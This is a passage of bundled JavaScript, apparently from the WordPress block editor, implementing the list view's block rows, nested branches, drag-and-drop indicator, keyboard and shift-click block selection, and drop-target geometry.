54688 className: "block-editor-list-view-block__contents-cell",
54689 colSpan,
54690 ref: cellRef,
54691 "aria-selected": !!isSelected,
54692 children: ({ ref, tabIndex, onFocus }) => /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsxs)("div", { className: "block-editor-list-view-block__contents-container", children: [
54693 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
54694 block_contents_default,
54695 {
54696 block,
54697 onClick: selectEditorBlock,
54698 onContextMenu,
54699 onMouseDown,
54700 onToggleExpanded: toggleExpanded,
54701 isSelected,
54702 position,
54703 siblingBlockCount,
54704 level,
54705 ref,
54706 tabIndex: currentlyEditingBlockInCanvas ? 0 : tabIndex,
54707 onFocus,
54708 isExpanded: canEdit ? isExpanded : void 0,
54709 selectedClientIds,
54710 ariaDescribedBy: descriptionId
54711 }
54712 ),
54713 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(AriaReferencedText, { id: descriptionId, children: [
54714 blockPositionDescription,
54715 blockPropertiesDescription,
54716 blockVisibilityDescription
54717 ].filter(Boolean).join(" ") })
54718 ] })
54719 }
54720 ),
54721 hasRenderedMovers && /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_ReactJSXRuntime_namespaceObject.Fragment, { children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsxs)(
54722 external_wp_components_namespaceObject.__experimentalTreeGridCell,
54723 {
54724 className: moverCellClassName,
54725 withoutGridItem: true,
54726 children: [
54727 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.__experimentalTreeGridItem, { children: ({ ref, tabIndex, onFocus }) => /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
54728 BlockMoverUpButton,
54729 {
54730 orientation: "vertical",
54731 clientIds: [clientId],
54732 ref,
54733 tabIndex,
54734 onFocus
54735 }
54736 ) }),
54737 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.__experimentalTreeGridItem, { children: ({ ref, tabIndex, onFocus }) => /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
54738 BlockMoverDownButton,
54739 {
54740 orientation: "vertical",
54741 clientIds: [clientId],
54742 ref,
54743 tabIndex,
54744 onFocus
54745 }
54746 ) })
54747 ]
54748 }
54749 ) }),
54750 showBlockActions && BlockSettingsMenu && /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
54751 external_wp_components_namespaceObject.__experimentalTreeGridCell,
54752 {
54753 className: listViewBlockSettingsClassName,
54754 "aria-selected": !!isSelected,
54755 ref: settingsRef,
54756 children: ({ ref, tabIndex, onFocus }) => /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
54757 BlockSettingsMenu,
54758 {
54759 clientIds: dropdownClientIds,
54760 block,
54761 icon: more_vertical_default,
54762 label: (0,external_wp_i18n_namespaceObject.__)("Options"),
54763 popoverProps: {
54764 anchor: settingsPopoverAnchor
54765 // Used to position the settings at the cursor on right-click.
54766 },
54767 toggleProps: {
54768 ref,
54769 className: "block-editor-list-view-block__menu",
54770 tabIndex,
54771 onClick: clearSettingsAnchorRect,
54772 onFocus,
54773 size: "small"
54774 },
54775 disableOpenOnArrowDown: true,
54776 expand,
54777 expandedState,
54778 setInsertedBlock,
54779 __experimentalSelectBlock: updateFocusAndSelection
54780 }
54781 )
54782 }
54783 )
54784 ]
54785 }
54786 );
54787}
54788var list_view_block_block_default = (0,external_wp_element_namespaceObject.memo)(ListViewBlock);
54789
54790
54791;// ./node_modules/@wordpress/block-editor/build-module/components/list-view/branch.js
54792
54793
54794
54795
54796
54797
54798
54799
54800
54801
54802function countBlocks(block, expandedState, draggedClientIds, isExpandedByDefault) {
54803 const isDragged = draggedClientIds?.includes(block.clientId);
54804 if (isDragged) {
54805 return 0;
54806 }
54807 const isExpanded = expandedState[block.clientId] ?? isExpandedByDefault;
54808 if (isExpanded) {
54809 return 1 + block.innerBlocks.reduce(
54810 countReducer(
54811 expandedState,
54812 draggedClientIds,
54813 isExpandedByDefault
54814 ),
54815 0
54816 );
54817 }
54818 return 1;
54819}
54820const countReducer = (expandedState, draggedClientIds, isExpandedByDefault) => (count, block) => {
54821 const isDragged = draggedClientIds?.includes(block.clientId);
54822 if (isDragged) {
54823 return count;
54824 }
54825 const isExpanded = expandedState[block.clientId] ?? isExpandedByDefault;
54826 if (isExpanded && block.innerBlocks.length > 0) {
54827 return count + countBlocks(
54828 block,
54829 expandedState,
54830 draggedClientIds,
54831 isExpandedByDefault
54832 );
54833 }
54834 return count + 1;
54835};
54836const branch_noop = () => {
54837};
54838function ListViewBranch(props) {
54839 const {
54840 blocks,
54841 selectBlock = branch_noop,
54842 showBlockMovers,
54843 selectedClientIds,
54844 level = 1,
54845 path = "",
54846 isBranchSelected = false,
54847 listPosition = 0,
54848 fixedListWindow,
54849 isExpanded,
54850 parentId,
54851 shouldShowInnerBlocks = true,
54852 isSyncedBranch = false,
54853 showAppender: showAppenderProp = true
54854 } = props;
54855 const parentBlockInformation = useBlockDisplayInformation(parentId);
54856 const syncedBranch = isSyncedBranch || !!parentBlockInformation?.isSynced;
54857 const canParentExpand = (0,external_wp_data_namespaceObject.useSelect)(
54858 (select) => {
54859 if (!parentId) {
54860 return true;
54861 }
54862 return select(store).canEditBlock(parentId);
54863 },
54864 [parentId]
54865 );
54866 const {
54867 blockDropPosition,
54868 blockDropTargetIndex,
54869 firstDraggedBlockIndex,
54870 blockIndexes,
54871 expandedState,
54872 draggedClientIds
54873 } = useListViewContext();
54874 const nextPositionRef = (0,external_wp_element_namespaceObject.useRef)();
54875 if (!canParentExpand) {
54876 return null;
54877 }
54878 const showAppender = showAppenderProp && level === 1;
54879 const filteredBlocks = blocks.filter(Boolean);
54880 const blockCount = filteredBlocks.length;
54881 const rowCount = showAppender ? blockCount + 1 : blockCount;
54882 nextPositionRef.current = listPosition;
54883 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsxs)(external_ReactJSXRuntime_namespaceObject.Fragment, { children: [
54884 filteredBlocks.map((block, index) => {
54885 const { clientId, innerBlocks } = block;
54886 if (index > 0) {
54887 nextPositionRef.current += countBlocks(
54888 filteredBlocks[index - 1],
54889 expandedState,
54890 draggedClientIds,
54891 isExpanded
54892 );
54893 }
54894 const isDragged = !!draggedClientIds?.includes(clientId);
54895 const { displacement, isAfterDraggedBlocks, isNesting } = getDragDisplacementValues({
54896 blockIndexes,
54897 blockDropTargetIndex,
54898 blockDropPosition,
54899 clientId,
54900 firstDraggedBlockIndex,
54901 isDragged
54902 });
54903 const { itemInView } = fixedListWindow;
54904 const blockInView = itemInView(nextPositionRef.current);
54905 const position = index + 1;
54906 const updatedPath = path.length > 0 ? `${path}_${position}` : `${position}`;
54907 const hasNestedBlocks = !!innerBlocks?.length;
54908 const shouldExpand = hasNestedBlocks && shouldShowInnerBlocks ? expandedState[clientId] ?? isExpanded : void 0;
54909 const isSelected = isClientIdSelected(
54910 clientId,
54911 selectedClientIds
54912 );
54913 const isSelectedBranch = isBranchSelected || isSelected && hasNestedBlocks;
54914 const showBlock = isDragged || blockInView || isSelected && clientId === selectedClientIds[0] || index === 0 || index === blockCount - 1;
54915 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsxs)(external_wp_data_namespaceObject.AsyncModeProvider, { value: !isSelected, children: [
54916 showBlock && /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
54917 list_view_block_block_default,
54918 {
54919 block,
54920 selectBlock,
54921 isSelected,
54922 isBranchSelected: isSelectedBranch,
54923 isDragged,
54924 level,
54925 position,
54926 rowCount,
54927 siblingBlockCount: blockCount,
54928 showBlockMovers,
54929 path: updatedPath,
54930 isExpanded: isDragged ? false : shouldExpand,
54931 listPosition: nextPositionRef.current,
54932 selectedClientIds,
54933 isSyncedBranch: syncedBranch,
54934 displacement,
54935 isAfterDraggedBlocks,
54936 isNesting
54937 }
54938 ),
54939 !showBlock && /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)("tr", { children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)("td", { className: "block-editor-list-view-placeholder" }) }),
54940 hasNestedBlocks && shouldExpand && !isDragged && /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
54941 ListViewBranch,
54942 {
54943 parentId: clientId,
54944 blocks: innerBlocks,
54945 selectBlock,
54946 showBlockMovers,
54947 level: level + 1,
54948 path: updatedPath,
54949 listPosition: nextPositionRef.current + 1,
54950 fixedListWindow,
54951 isBranchSelected: isSelectedBranch,
54952 selectedClientIds,
54953 isExpanded,
54954 isSyncedBranch: syncedBranch
54955 }
54956 )
54957 ] }, clientId);
54958 }),
54959 showAppender && /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
54960 external_wp_components_namespaceObject.__experimentalTreeGridRow,
54961 {
54962 level,
54963 setSize: rowCount,
54964 positionInSet: rowCount,
54965 isExpanded: true,
54966 children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.__experimentalTreeGridCell, { children: (treeGridCellProps) => /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
54967 Appender,
54968 {
54969 clientId: parentId,
54970 nestingLevel: level,
54971 blockCount,
54972 ...treeGridCellProps
54973 }
54974 ) })
54975 }
54976 )
54977 ] });
54978}
54979var branch_default = (0,external_wp_element_namespaceObject.memo)(ListViewBranch);
54980
54981
54982;// ./node_modules/@wordpress/block-editor/build-module/components/list-view/drop-indicator.js
54983
54984
54985
54986
54987
54988
54989
54990
54991
54992
54993function ListViewDropIndicatorPreview({
54994 draggedBlockClientId,
54995 listViewRef,
54996 blockDropTarget
54997}) {
54998 const blockInformation = useBlockDisplayInformation(draggedBlockClientId);
54999 const blockTitle = useBlockDisplayTitle({
55000 clientId: draggedBlockClientId,
55001 context: "list-view"
55002 });
55003 const { rootClientId, clientId, dropPosition } = blockDropTarget || {};
55004 const [rootBlockElement, blockElement] = (0,external_wp_element_namespaceObject.useMemo)(() => {
55005 if (!listViewRef.current) {
55006 return [];
55007 }
55008 const _rootBlockElement = rootClientId ? listViewRef.current.querySelector(
55009 `[data-block="${rootClientId}"]`
55010 ) : void 0;
55011 const _blockElement = clientId ? listViewRef.current.querySelector(
55012 `[data-block="${clientId}"]`
55013 ) : void 0;
55014 return [_rootBlockElement, _blockElement];
55015 }, [listViewRef, rootClientId, clientId]);
55016 const targetElement = blockElement || rootBlockElement;
55017 const rtl = (0,external_wp_i18n_namespaceObject.isRTL)();
55018 const getDropIndicatorWidth = (0,external_wp_element_namespaceObject.useCallback)(
55019 (targetElementRect, indent) => {
55020 if (!targetElement) {
55021 return 0;
55022 }
55023 let width = targetElement.offsetWidth;
55024 const scrollContainer = (0,external_wp_dom_namespaceObject.getScrollContainer)(
55025 targetElement,
55026 "horizontal"
55027 );
55028 const ownerDocument = targetElement.ownerDocument;
55029 const windowScroll = scrollContainer === ownerDocument.body || scrollContainer === ownerDocument.documentElement;
55030 if (scrollContainer && !windowScroll) {
55031 const scrollContainerRect = scrollContainer.getBoundingClientRect();
55032 const distanceBetweenContainerAndTarget = (0,external_wp_i18n_namespaceObject.isRTL)() ? scrollContainerRect.right - targetElementRect.right : targetElementRect.left - scrollContainerRect.left;
55033 const scrollContainerWidth = scrollContainer.clientWidth;
55034 if (scrollContainerWidth < width + distanceBetweenContainerAndTarget) {
55035 width = scrollContainerWidth - distanceBetweenContainerAndTarget;
55036 }
55037 if (!rtl && targetElementRect.left + indent < scrollContainerRect.left) {
55038 width -= scrollContainerRect.left - targetElementRect.left;
55039 return width;
55040 }
55041 if (rtl && targetElementRect.right - indent > scrollContainerRect.right) {
55042 width -= targetElementRect.right - scrollContainerRect.right;
55043 return width;
55044 }
55045 }
55046 return width - indent;
55047 },
55048 [rtl, targetElement]
55049 );
55050 const style = (0,external_wp_element_namespaceObject.useMemo)(() => {
55051 if (!targetElement) {
55052 return {};
55053 }
55054 const targetElementRect = targetElement.getBoundingClientRect();
55055 return {
55056 width: getDropIndicatorWidth(targetElementRect, 0)
55057 };
55058 }, [getDropIndicatorWidth, targetElement]);
55059 const horizontalScrollOffsetStyle = (0,external_wp_element_namespaceObject.useMemo)(() => {
55060 if (!targetElement) {
55061 return {};
55062 }
55063 const scrollContainer = (0,external_wp_dom_namespaceObject.getScrollContainer)(targetElement);
55064 const ownerDocument = targetElement.ownerDocument;
55065 const windowScroll = scrollContainer === ownerDocument.body || scrollContainer === ownerDocument.documentElement;
55066 if (scrollContainer && !windowScroll) {
55067 const scrollContainerRect = scrollContainer.getBoundingClientRect();
55068 const targetElementRect = targetElement.getBoundingClientRect();
55069 const distanceBetweenContainerAndTarget = rtl ? scrollContainerRect.right - targetElementRect.right : targetElementRect.left - scrollContainerRect.left;
55070 if (!rtl && scrollContainerRect.left > targetElementRect.left) {
55071 return {
55072 transform: `translateX( ${distanceBetweenContainerAndTarget}px )`
55073 };
55074 }
55075 if (rtl && scrollContainerRect.right < targetElementRect.right) {
55076 return {
55077 transform: `translateX( ${distanceBetweenContainerAndTarget * -1}px )`
55078 };
55079 }
55080 }
55081 return {};
55082 }, [rtl, targetElement]);
55083 const ariaLevel = (0,external_wp_element_namespaceObject.useMemo)(() => {
55084 if (!rootBlockElement) {
55085 return 1;
55086 }
55087 const _ariaLevel = parseInt(
55088 rootBlockElement.getAttribute("aria-level"),
55089 10
55090 );
55091 return _ariaLevel ? _ariaLevel + 1 : 1;
55092 }, [rootBlockElement]);
55093 const hasAdjacentSelectedBranch = (0,external_wp_element_namespaceObject.useMemo)(() => {
55094 if (!targetElement) {
55095 return false;
55096 }
55097 return targetElement.classList.contains("is-branch-selected");
55098 }, [targetElement]);
55099 const popoverAnchor = (0,external_wp_element_namespaceObject.useMemo)(() => {
55100 const isValidDropPosition = dropPosition === "top" || dropPosition === "bottom" || dropPosition === "inside";
55101 if (!targetElement || !isValidDropPosition) {
55102 return void 0;
55103 }
55104 return {
55105 contextElement: targetElement,
55106 getBoundingClientRect() {
55107 const rect = targetElement.getBoundingClientRect();
55108 let left = rect.left;
55109 let top = 0;
55110 const scrollContainer = (0,external_wp_dom_namespaceObject.getScrollContainer)(
55111 targetElement,
55112 "horizontal"
55113 );
55114 const doc = targetElement.ownerDocument;
55115 const windowScroll = scrollContainer === doc.body || scrollContainer === doc.documentElement;
55116 if (scrollContainer && !windowScroll) {
55117 const scrollContainerRect = scrollContainer.getBoundingClientRect();
55118 const scrollbarWidth = rtl ? scrollContainer.offsetWidth - scrollContainer.clientWidth : 0;
55119 if (left < scrollContainerRect.left + scrollbarWidth) {
55120 left = scrollContainerRect.left + scrollbarWidth;
55121 }
55122 }
55123 if (dropPosition === "top") {
55124 top = rect.top - rect.height * 2;
55125 } else {
55126 top = rect.top;
55127 }
55128 const width = getDropIndicatorWidth(rect, 0);
55129 const height = rect.height;
55130 return new window.DOMRect(left, top, width, height);
55131 }
55132 };
55133 }, [targetElement, dropPosition, getDropIndicatorWidth, rtl]);
55134 if (!targetElement) {
55135 return null;
55136 }
55137 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
55138 external_wp_components_namespaceObject.Popover,
55139 {
55140 animate: false,
55141 anchor: popoverAnchor,
55142 focusOnMount: false,
55143 className: "block-editor-list-view-drop-indicator--preview",
55144 variant: "unstyled",
55145 flip: false,
55146 resize: true,
55147 children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
55148 "div",
55149 {
55150 style,
55151 className: dist_clsx(
55152 "block-editor-list-view-drop-indicator__line",
55153 {
55154 "block-editor-list-view-drop-indicator__line--darker": hasAdjacentSelectedBranch
55155 }
55156 ),
55157 children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsxs)(
55158 "div",
55159 {
55160 className: "block-editor-list-view-leaf",
55161 "aria-level": ariaLevel,
55162 children: [
55163 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsxs)(
55164 "div",
55165 {
55166 className: dist_clsx(
55167 "block-editor-list-view-block-select-button",
55168 "block-editor-list-view-block-contents"
55169 ),
55170 style: horizontalScrollOffsetStyle,
55171 children: [
55172 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(ListViewExpander, { onClick: () => {
55173 } }),
55174 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
55175 block_icon_default,
55176 {
55177 icon: blockInformation?.icon,
55178 showColors: true,
55179 context: "list-view"
55180 }
55181 ),
55182 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
55183 external_wp_components_namespaceObject.__experimentalHStack,
55184 {
55185 alignment: "center",
55186 className: "block-editor-list-view-block-select-button__label-wrapper",
55187 justify: "flex-start",
55188 spacing: 1,
55189 children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)("span", { className: "block-editor-list-view-block-select-button__title", children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.__experimentalTruncate, { ellipsizeMode: "auto", children: blockTitle }) })
55190 }
55191 )
55192 ]
55193 }
55194 ),
55195 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)("div", { className: "block-editor-list-view-block__menu-cell" })
55196 ]
55197 }
55198 )
55199 }
55200 )
55201 }
55202 );
55203}
55204
55205
55206;// ./node_modules/@wordpress/block-editor/build-module/components/list-view/use-block-selection.js
55207
55208
55209
55210
55211
55212
55213
55214
55215function useBlockSelection() {
55216 const { clearSelectedBlock, multiSelect, selectBlock } = (0,external_wp_data_namespaceObject.useDispatch)(store);
55217 const {
55218 getBlockName,
55219 getBlockParents,
55220 getBlockSelectionStart,
55221 getSelectedBlockClientIds,
55222 hasMultiSelection,
55223 hasSelectedBlock
55224 } = (0,external_wp_data_namespaceObject.useSelect)(store);
55225 const { getBlockType } = (0,external_wp_data_namespaceObject.useSelect)(external_wp_blocks_namespaceObject.store);
55226 const updateBlockSelection = (0,external_wp_element_namespaceObject.useCallback)(
55227 async (event, clientId, destinationClientId, focusPosition) => {
55228 if (!event?.shiftKey && event?.keyCode !== external_wp_keycodes_namespaceObject.ESCAPE) {
55229 selectBlock(clientId, focusPosition);
55230 return;
55231 }
55232 event.preventDefault();
55233 const isOnlyDeselection = event.type === "keydown" && event.keyCode === external_wp_keycodes_namespaceObject.ESCAPE;
55234 const isKeyPress = event.type === "keydown" && (event.keyCode === external_wp_keycodes_namespaceObject.UP || event.keyCode === external_wp_keycodes_namespaceObject.DOWN || event.keyCode === external_wp_keycodes_namespaceObject.HOME || event.keyCode === external_wp_keycodes_namespaceObject.END);
55235 if (!isKeyPress && !hasSelectedBlock() && !hasMultiSelection()) {
55236 selectBlock(clientId, null);
55237 return;
55238 }
55239 const selectedBlocks = getSelectedBlockClientIds();
55240 const clientIdWithParents = [
55241 ...getBlockParents(clientId),
55242 clientId
55243 ];
55244 if (isOnlyDeselection || isKeyPress && !selectedBlocks.some(
55245 (blockId) => clientIdWithParents.includes(blockId)
55246 )) {
55247 await clearSelectedBlock();
55248 }
55249 if (!isOnlyDeselection) {
55250 let startTarget = getBlockSelectionStart();
55251 let endTarget = clientId;
55252 if (isKeyPress) {
55253 if (!hasSelectedBlock() && !hasMultiSelection()) {
55254 startTarget = clientId;
55255 }
55256 if (destinationClientId) {
55257 endTarget = destinationClientId;
55258 }
55259 }
55260 const startParents = getBlockParents(startTarget);
55261 const endParents = getBlockParents(endTarget);
55262 const { start, end } = getCommonDepthClientIds(
55263 startTarget,
55264 endTarget,
55265 startParents,
55266 endParents
55267 );
55268 await multiSelect(start, end, null);
55269 }
55270 const updatedSelectedBlocks = getSelectedBlockClientIds();
55271 if ((event.keyCode === external_wp_keycodes_namespaceObject.HOME || event.keyCode === external_wp_keycodes_namespaceObject.END) && updatedSelectedBlocks.length > 1) {
55272 return;
55273 }
55274 const selectionDiff = selectedBlocks.filter(
55275 (blockId) => !updatedSelectedBlocks.includes(blockId)
55276 );
55277 let label;
55278 if (selectionDiff.length === 1) {
55279 const title = getBlockType(
55280 getBlockName(selectionDiff[0])
55281 )?.title;
55282 if (title) {
55283 label = (0,external_wp_i18n_namespaceObject.sprintf)(
55284 /* translators: %s: block name */
55285 (0,external_wp_i18n_namespaceObject.__)("%s deselected."),
55286 title
55287 );
55288 }
55289 } else if (selectionDiff.length > 1) {
55290 label = (0,external_wp_i18n_namespaceObject.sprintf)(
55291 /* translators: %s: number of deselected blocks */
55292 (0,external_wp_i18n_namespaceObject.__)("%s blocks deselected."),
55293 selectionDiff.length
55294 );
55295 }
55296 if (label) {
55297 (0,external_wp_a11y_namespaceObject.speak)(label, "assertive");
55298 }
55299 },
55300 [
55301 clearSelectedBlock,
55302 getBlockName,
55303 getBlockType,
55304 getBlockParents,
55305 getBlockSelectionStart,
55306 getSelectedBlockClientIds,
55307 hasMultiSelection,
55308 hasSelectedBlock,
55309 multiSelect,
55310 selectBlock
55311 ]
55312 );
55313 return {
55314 updateBlockSelection
55315 };
55316}
55317
55318
55319;// ./node_modules/@wordpress/block-editor/build-module/components/list-view/use-list-view-block-indexes.js
55320
55321function useListViewBlockIndexes(blocks) {
55322 const blockIndexes = (0,external_wp_element_namespaceObject.useMemo)(() => {
55323 const indexes = {};
55324 let currentGlobalIndex = 0;
55325 const traverseBlocks = (blockList) => {
55326 blockList.forEach((block) => {
55327 indexes[block.clientId] = currentGlobalIndex;
55328 currentGlobalIndex++;
55329 if (block.innerBlocks.length > 0) {
55330 traverseBlocks(block.innerBlocks);
55331 }
55332 });
55333 };
55334 traverseBlocks(blocks);
55335 return indexes;
55336 }, [blocks]);
55337 return blockIndexes;
55338}
55339
55340
55341;// ./node_modules/@wordpress/block-editor/build-module/components/list-view/use-list-view-client-ids.js
55342
55343
55344
55345function useListViewClientIds({ blocks, rootClientId }) {
55346 return (0,external_wp_data_namespaceObject.useSelect)(
55347 (select) => {
55348 const {
55349 getDraggedBlockClientIds,
55350 getSelectedBlockClientIds,
55351 getEnabledClientIdsTree
55352 } = unlock(select(store));
55353 return {
55354 selectedClientIds: getSelectedBlockClientIds(),
55355 draggedClientIds: getDraggedBlockClientIds(),
55356 clientIdsTree: blocks ?? getEnabledClientIdsTree(rootClientId)
55357 };
55358 },
55359 [blocks, rootClientId]
55360 );
55361}
55362
55363
55364;// ./node_modules/@wordpress/block-editor/build-module/components/list-view/use-list-view-collapse-items.js
55365
55366
55367
55368
55369function useListViewCollapseItems({ collapseAll, expand }) {
55370 const { expandedBlock, getBlockParents } = (0,external_wp_data_namespaceObject.useSelect)((select) => {
55371 const { getBlockParents: _getBlockParents, getExpandedBlock } = unlock(
55372 select(store)
55373 );
55374 return {
55375 expandedBlock: getExpandedBlock(),
55376 getBlockParents: _getBlockParents
55377 };
55378 }, []);
55379 (0,external_wp_element_namespaceObject.useEffect)(() => {
55380 if (expandedBlock) {
55381 const blockParents = getBlockParents(expandedBlock, false);
55382 collapseAll();
55383 expand(blockParents);
55384 }
55385 }, [collapseAll, expand, expandedBlock, getBlockParents]);
55386}
55387
55388
55389;// ./node_modules/@wordpress/block-editor/build-module/components/list-view/use-list-view-drop-zone.js
55390
55391
55392
55393
55394
55395
55396
55397const NESTING_LEVEL_INDENTATION = 24;
55398function isUpGesture(point, rect, nestingLevel = 1, rtl = false) {
55399 const blockIndentPosition = rtl ? rect.right - nestingLevel * NESTING_LEVEL_INDENTATION : rect.left + nestingLevel * NESTING_LEVEL_INDENTATION;
55400 return rtl ? point.x > blockIndentPosition : point.x < blockIndentPosition;
55401}
55402function getDesiredRelativeParentLevel(point, rect, nestingLevel = 1, rtl = false) {
55403 const blockIndentPosition = rtl ? rect.right - nestingLevel * NESTING_LEVEL_INDENTATION : rect.left + nestingLevel * NESTING_LEVEL_INDENTATION;
55404 const distanceBetweenPointAndBlockIndentPosition = rtl ? blockIndentPosition - point.x : point.x - blockIndentPosition;
55405 const desiredParentLevel = Math.round(
55406 distanceBetweenPointAndBlockIndentPosition / NESTING_LEVEL_INDENTATION
55407 );
55408 return Math.abs(desiredParentLevel);
55409}
55410function getCandidateBlockParents(candidateBlockData, blocksData) {
55411 const candidateBlockParents = [];
55412 let currentBlockData = candidateBlockData;
55413 while (currentBlockData) {
55414 candidateBlockParents.push({ ...currentBlockData });
55415 currentBlockData = blocksData.find(
55416 (blockData) => blockData.clientId === currentBlockData.rootClientId
55417 );
55418 }
55419 return candidateBlockParents;
55420}
55421function getNextNonDraggedBlock(blocksData, index) {
55422 const nextBlockData = blocksData[index + 1];
55423 if (nextBlockData && nextBlockData.isDraggedBlock) {
55424 return getNextNonDraggedBlock(blocksData, index + 1);
55425 }
55426 return nextBlockData;
55427}
55428function isNestingGesture(point, rect, nestingLevel = 1, rtl = false) {
55429 const blockIndentPosition = rtl ? rect.right - nestingLevel * NESTING_LEVEL_INDENTATION : rect.left + nestingLevel * NESTING_LEVEL_INDENTATION;
55430 const isNestingHorizontalGesture = rtl ? point.x < blockIndentPosition - NESTING_LEVEL_INDENTATION : point.x > blockIndentPosition + NESTING_LEVEL_INDENTATION;
55431 return isNestingHorizontalGesture && point.y < rect.bottom;
55432}
55433const ALLOWED_DROP_EDGES = ["top", "bottom"];
55434function getListViewDropTarget(blocksData, position, rtl = false) {
55435 let candidateEdge;
55436 let candidateBlockData;
55437 let candidateDistance;
55438 let candidateRect;
55439 let candidateBlockIndex;
55440 for (let i = 0; i < blocksData.length; i++) {
55441 const blockData = blocksData[i];
55442 if (blockData.isDraggedBlock) {
55443 continue;
55444 }
55445 const rect = blockData.element.getBoundingClientRect();
55446 const [distance, edge] = getDistanceToNearestEdge(
55447 position,
55448 rect,
55449 ALLOWED_DROP_EDGES
55450 );
55451 const isCursorWithinBlock = isPointContainedByRect(position, rect);
55452 if (candidateDistance === void 0 || distance < candidateDistance || isCursorWithinBlock) {
55453 candidateDistance = distance;
55454 const index = blocksData.indexOf(blockData);
55455 const previousBlockData = blocksData[index - 1];
55456 if (edge === "top" && previousBlockData && previousBlockData.rootClientId === blockData.rootClientId && !previousBlockData.isDraggedBlock) {
55457 candidateBlockData = previousBlockData;
55458 candidateEdge = "bottom";
55459 candidateRect = previousBlockData.element.getBoundingClientRect();
55460 candidateBlockIndex = index - 1;
55461 } else {
55462 candidateBlockData = blockData;
55463 candidateEdge = edge;
55464 candidateRect = rect;
55465 candidateBlockIndex = index;
55466 }
55467 if (isCursorWithinBlock) {
55468 break;
55469 }
55470 }
55471 }
55472 if (!candidateBlockData) {
55473 return;
55474 }
55475 const candidateBlockParents = getCandidateBlockParents(
55476 candidateBlockData,
55477 blocksData
55478 );
55479 const isDraggingBelow = candidateEdge === "bottom";
55480 if (isDraggingBelow && candidateBlockData.canInsertDraggedBlocksAsChild && (candidateBlockData.innerBlockCount > 0 && candidateBlockData.isExpanded || isNestingGesture(
55481 position,
55482 candidateRect,
55483 candidateBlockParents.length,
55484 rtl
55485 ))) {
55486 const newBlockIndex = candidateBlockData.isExpanded ? 0 : candidateBlockData.innerBlockCount || 0;
55487 return {
55488 rootClientId: candidateBlockData.clientId,
55489 clientId: candidateBlockData.clientId,
55490 blockIndex: newBlockIndex,
55491 dropPosition: "inside"
55492 };
55493 }
55494 if (isDraggingBelow && candidateBlockData.rootClientId && isUpGesture(
55495 position,
55496 candidateRect,
55497 candidateBlockParents.length,
55498 rtl
55499 )) {
55500 const nextBlock = getNextNonDraggedBlock(
55501 blocksData,
55502 candidateBlockIndex
55503 );
55504 const currentLevel = candidateBlockData.nestingLevel;
55505 const nextLevel = nextBlock ? nextBlock.nestingLevel : 1;
55506 if (currentLevel && nextLevel) {
55507 const desiredRelativeLevel = getDesiredRelativeParentLevel(
55508 position,
55509 candidateRect,
55510 candidateBlockParents.length,
55511 rtl
55512 );
55513 const targetParentIndex = Math.max(
55514 Math.min(desiredRelativeLevel, currentLevel - nextLevel),
55515 0
55516 );
55517 if (candidateBlockParents[targetParentIndex]) {
55518 let newBlockIndex = candidateBlockData.blockIndex;
55519 if (candidateBlockParents[targetParentIndex].nestingLevel === nextBlock?.nestingLevel) {
55520 newBlockIndex = nextBlock?.blockIndex;
55521 } else {
55522 for (let i = candidateBlockIndex; i >= 0; i--) {
55523 const blockData = blocksData[i];
55524 if (blockData.rootClientId === candidateBlockParents[targetParentIndex].rootClientId) {
55525 newBlockIndex = blockData.blockIndex + 1;
55526 break;
55527 }
55528 }
55529 }
55530 return {
55531 rootClientId: candidateBlockParents[targetParentIndex].rootClientId,
55532 clientId: candidateBlockData.clientId,
55533 blockIndex: newBlockIndex,
55534 dropPosition: candidateEdge
55535 };
55536 }
55537 }
55538 }
55539 if (!candidateBlockData.canInsertDraggedBlocksAsSibling) {
55540 return;
55541 }
55542 const offset = isDraggingBelow ? 1 : 0;
55543 return {
55544 rootClientId: candidateBlockData.rootClientId,
55545 clientId: candidateBlockData.clientId,
55546 blockIndex: candidateBlockData.blockIndex + offset,
55547 dropPosition: candidateEdge
55548 };
55549}
55550const EXPAND_THROTTLE_OPTIONS = {
55551 leading: false,
55552 // Don't call the function immediately on the first call.
55553 trailing: true
55554 // Do call the function on the last call.
55555};
55556function useListViewDropZone({
55557 dropZoneElement,
55558 expandedState,
55559 setExpandedState
55560}) {
55561 const {
55562 getBlockRootClientId,
55563 getBlockIndex,
55564 getBlockCount,
55565 getDraggedBlockClientIds,
55566 canInsertBlocks
55567 } = (0,external_wp_data_namespaceObject.useSelect)(store);
